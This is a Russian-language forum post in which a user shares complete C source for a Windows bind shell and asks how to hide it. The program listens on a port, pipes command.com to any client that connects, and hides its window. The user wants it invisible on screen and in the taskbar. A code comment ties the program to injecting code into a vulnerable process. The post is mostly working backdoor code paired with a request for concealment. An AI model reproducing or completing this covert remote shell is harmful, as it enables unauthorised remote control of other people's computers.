Coder.ua
Гость
|
|
« : 17-10-2005 09:55 » |
|
В общем я пишу программу которая будет давать мне возмоность подсоединяться к удаленному
компьютеру. То есть. Я устанавливаю эту программу на своем компе. Она слушает порт 1234. Далее я подключаюсь
к это му порту с удаленной машины командой типа "netcat <IP-адрес_компа> <порт>". И после этого
программа запускает командный интерпретатор, и я могу работать с удаленной машиной. Я программу создаю типа Win32 Console App. При запуске программы на экране появляется окно сеанса
MS-DOS. Как можно сделать, чтобы программы не было видно. То есть чтобы не было на панели задач и
на экране тоже, но возможно присутствие в диспетчере задач.
Программу пишу под Windows 98.
А пробовал создавать Win32 App, и переделывать под него, так он мне столько ошибок выдает Вот исходники программы ConsoleApp! ----------------------------------------------------- bind.cpp ----------------------------------------------------- #include <stdio.h> #include <winsock2.h> #include <windows.h> #include "spawn.pipe.h"
#define MY_PORT 1234 #define MAX_BUF_SIZE 1024
DWORD WINAPI SexToClient(void *csocket);
int main() { DWORD thID; HOSTENT *hst; SOCKET lsocket; SOCKET csocket; struct sockaddr_in laddr, caddr; char buff[MAX_BUF_SIZE]; int caddr_size = sizeof(caddr);
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1; lsocket = socket(AF_INET, SOCK_STREAM, 0); laddr.sin_family = AF_INET; laddr.sin_port = htons(MY_PORT); laddr.sin_addr.s_addr = INADDR_ANY; if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;
if (listen(lsocket, 0x100)) return -1; // Ну это я забираю //printf("wait for connection...\n");
while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size))) { hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET); sprintf(buff, "+%s [%s] new
connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr)); send(csocket, buff, strlen(buff), 0);
CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID); }
closesocket(lsocket); WSACleanup(); return 0; }
DWORD WINAPI SexToClient(void *csocket) { sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE); closesocket(((SOCKET*)csocket)[0]); return 0; }
#############################################################3
------------------------------------------------------ spawn.pipe.h ------------------------------------------------------ #ifndef __SPAWN_PIPE_H__ #define __SPAWN_PIPE_H__
#define HELO "hello\n" // подтверждение связи #define SHELL "command.com" // Командный интерпретатор
// командный интерпретатор #ifndef MAX_BUF_SIZE #define MAX_BUF_SIZE 1024 #endif
int sshell(SOCKET csocket, int n) { char *buf; // + //int c; unsigned int a; STARTUPINFO si; SECURITY_ATTRIBUTES sa; // + PROCESS_INFORMATION pi;
HANDLE cstdin, cstdout, rstdout, wstdin; //pipe handles
unsigned long fexit; //process exit code unsigned long N; //bytes read unsigned long total; //bytes available
buf = malloc(n);
// возвращаем удаленной машине приветствие, // подтверждая тем самым, что удаленный код успешно внедрен // в уязвимый процесс и готов работать send(csocket, HELO, sizeof(HELO), 0);
sa.lpSecurityDescriptor = NULL; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; //allow inheritable handles
if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; //create stdin pipe if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; //create stdout pipe
GetStartupInfo(&si); //set startupinfo for the spawned process
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = cstdout; si.hStdError = cstdout; //set the new handles for the child process si.hStdInput = cstdin;
//spawn the child process if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &si, &pi)) return -1;
while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE)) {
//check to see if there is any data to read from stdout if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N) { for (a = 0; a < total; a += MAX_BUF_SIZE) { ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0); send(csocket, buf, N, 0); } }
if (!ioctlsocket(csocket, FIONREAD , &N) && N) { recv(csocket, buf, 1, 0); if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0); WriteFile(wstdin, buf, 1, &N, 0); } Sleep(1); }
CloseHandle(cstdin); //clean stuff up CloseHandle(wstdin); CloseHandle(cstdout); CloseHandle(rstdout); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; }
#endif //__SPAWN_PIPE_H__
################################################################## Приведу также пример Win32Api APP
----------------------------------------------------- bind.cpp ----------------------------------------------------- #include <windows.h> #include <winsock2.h> #include <stdio.h> #include "spawn.pipe.h"
#define MY_PORT 666 // Port #define MAX_BUF_SIZE 1024 // Buffer
DWORD thID; HOSTENT *hst; SOCKET lsocket; SOCKET csocket; struct sockaddr_in laddr, caddr; char buff[MAX_BUF_SIZE]; // ЎгддҐа int caddr_size = sizeof(caddr);
DWORD WINAPI SexToClient(void *csocket);
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { static char szAppName[] = "bind" ; HWND hwnd ; MSG msg ; WNDCLASSEX wndclass ;
wndclass.cbSize = sizeof (wndclass) ; wndclass.style = CS_HREDRAW | CS_VREDRAW ; wndclass.lpfnWndProc = WndProc ; wndclass.cbClsExtra = 0 ; wndclass.cbWndExtra = 0 ; wndclass.hInstance = hInstance ; wndclass.hIcon = NULL ; wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ; wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ; wndclass.lpszMenuName = NULL ; wndclass.lpszClassName = szAppName ; wndclass.hIconSm = NULL ;
RegisterClassEx (&wndclass);
hwnd = CreateWindow (szAppName, // window class name "bind", // window
caption WS_OVERLAPPEDWINDOW, // window style CW_USEDEFAULT, // initial x position CW_USEDEFAULT, // initial y position CW_USEDEFAULT, // initial x size CW_USEDEFAULT, // initial y size NULL, // parent window handle NULL, // window menu handle hInstance, // program instance handle NULL) ; // creation parameters
ShowWindow (hwnd, SW_HIDE) ; UpdateWindow (hwnd) ;
while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg) ; DispatchMessage (&msg) ; } return msg.wParam ; }
DWORD WINAPI SexToClient(void *csocket) { sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE); closesocket(((SOCKET*)csocket)[0]); return 0; }
LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) { /* HDC hdc ; PAINTSTRUCT ps ; RECT rect ; */
switch (iMsg) { case WM_CREATE : //MessageBox (NULL,"CREATED!!!", "SUCCESS", MB_OK);
if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1; // lsocket = socket(AF_INET, SOCK_STREAM, 0); // laddr.sin_family = AF_INET; laddr.sin_port = htons(MY_PORT); laddr.sin_addr.s_addr = INADDR_ANY; if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;
// if (listen(lsocket, 0x100)) return -1; //printf("wait for connection...\n");
// while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size))) { // hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET); //sprintf(buff, "+%s [%s] new
connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr)); //send(csocket, buff, strlen(buff), 0);
//
CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID); return 0 ;
case WM_DESTROY : closesocket(lsocket); WSACleanup(); PostQuitMessage (0) ; return 0 ; }
return DefWindowProc (hwnd, iMsg, wParam, lParam) ; }
spawn.pipe.h - такой же как и для предыдущего.
|